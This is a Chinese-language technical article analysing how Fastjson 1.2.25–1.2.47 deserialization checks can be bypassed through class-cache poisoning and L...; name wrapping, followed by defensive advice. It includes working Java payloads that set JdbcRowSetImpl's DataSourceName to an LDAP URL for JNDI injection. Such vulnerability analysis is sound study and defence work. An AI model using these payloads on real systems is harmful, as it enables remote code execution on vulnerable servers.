fastjson反序列化1.2.47版本绕过
字数 1538 2025-08-10 17:51:51
Fastjson 1.2.47版本反序列化漏洞分析与绕过技术
0x01 漏洞背景
Fastjson是阿里巴巴开源的一个高性能JSON处理库。在1.2.24及之前版本存在反序列化漏洞,攻击者可以通过精心构造的JSON数据实现远程代码执行。在1.2.25版本中,Fastjson团队通过引入checkAutoType函数和黑白名单机制修复了该漏洞。然而,在1.2.25到1.2.47版本中,仍然存在绕过方法。
0x02 1.2.25版本的修复机制
checkAutoType函数分析
checkAutoType函数是1.2.25版本引入的核心安全检测机制,其主要逻辑如下:
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}
// 类名规范化处理
final String className = typeName.replace('$', '.');
// 如果开启AutoTypeSupport或有期望类
if (autoTypeSupport || expectClass != null) {
// 白名单检查
for (String accept : acceptList) {
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
// 黑名单检查
for (String deny : denyList) {
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
// 从缓存中查找类
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName); // 从反序列化器中查找
}
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + ", " + expectClass.getName());
}
return clazz;
}
// 未开启AutoTypeSupport时的额外检查
if (!autoTypeSupport) {
// 再次黑名单检查
for (String deny : denyList) {
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
// 白名单检查
for (String accept : acceptList) {
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + ", " + expectClass.getName());
}
return clazz;
}
}
}
// 开启AutoTypeSupport时的处理
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}
// 最终安全检查
if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) ||
DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + ", " + expectClass.getName());
}
}
}
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
return clazz;
}
关键安全机制
-
黑白名单机制:
- 白名单(
acceptList):默认为空 - 黑名单(
denyList):包含已知的危险类,如com.sun包下的漏洞利用类
- 白名单(
-
缓存检查:
- 首先检查类是否已在
mapping缓存中 - 然后检查是否在反序列化器中
- 首先检查类是否已在
-
AutoTypeSupport开关:
- 默认关闭(false)
- 开启后会放宽安全检查
0x03 1.2.47版本绕过方法
绕过思路
通过分析checkAutoType函数,发现如果恶意类已经存在于缓存中(mapping),就可以绕过黑白名单检查。因此,攻击思路是:
- 先通过某种方式将恶意类放入缓存
- 然后正常反序列化恶意类,此时会直接从缓存中获取,绕过安全检查
具体利用方法
-
利用
java.lang.Class和MiscCodec:java.lang.Class类默认使用MiscCodec反序列化器- 当反序列化
Class类型时,会调用TypeUtils.loadClass方法 loadClass方法会将类名放入mapping缓存
-
利用链:
java.lang.Class --> MiscCodec.deserialze --> TypeUtils.loadClass --> mappings.put com.sun.rowset.JdbcRowSetImpl --> checkAutoType --> mappings.get --> 反序列化执行 -
Payload构造:
- 需要构造一个两段的JSON:
- 第一段反序列化
java.lang.Class,val属性设置为恶意类名 - 第二段反序列化恶意类
- 第一段反序列化
- 需要构造一个两段的JSON:
示例Payload
String payload = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +
"{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"DataSourceName\":\"ldap://127.0.0.1:8085/Exploit\"," +
"\"autoCommit\":\"false\"}}";
JSON.parseObject(payload);
关键点说明
-
必须使用
val属性:MiscCodec.deserialze会检查键是否为val,否则抛出异常
-
嵌套JSON结构:
- 使用两层
{}结构,先处理Class类型,再处理恶意类
- 使用两层
-
JNDI注入:
- 利用
JdbcRowSetImpl的DataSourceName属性实现JNDI注入
- 利用
0x04 开启AutoTypeSupport的绕过方法
如果目标开启了AutoTypeSupport(默认关闭),有更简单的绕过方式:
绕过黑名单的方法
-
L和;包裹类名:
TypeUtils.loadClass会检查类名是否以L开头和以;结尾- 如果是,则去掉这些字符后再加载
- 可以构造如
Lcom.sun.rowset.JdbcRowSetImpl;的形式绕过黑名单检查
-
示例Payload:
String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," + "\"DataSourceName\":\"ldap://127.0.0.1:8085/Exploit\"," + "\"autoCommit\":\"false\"}"; JSON.parseObject(payload);
0x05 漏洞影响范围
- Fastjson 1.2.25 <= 版本 <= 1.2.47
- 在更高版本(如1.2.68)中此方法已失效
0x06 防御措施
-
升级Fastjson:
- 升级到1.2.48及以上版本
-
关闭AutoType:
- 确保
autoTypeSupport为false(默认值)
- 确保
-
使用安全配置:
ParserConfig.getGlobalInstance().setAutoTypeSupport(false); ParserConfig.getGlobalInstance().addDeny("com.sun."); -
输入过滤:
- 对用户输入的JSON数据进行严格校验
0x07 总结
Fastjson在1.2.25到1.2.47版本中,通过缓存污染的方式可以绕过checkAutoType的安全检查,实现反序列化漏洞利用。理解这一漏洞需要对Fastjson的反序列化流程、黑白名单机制和缓存处理有深入认识。开发者应及时升级到安全版本,并合理配置安全选项。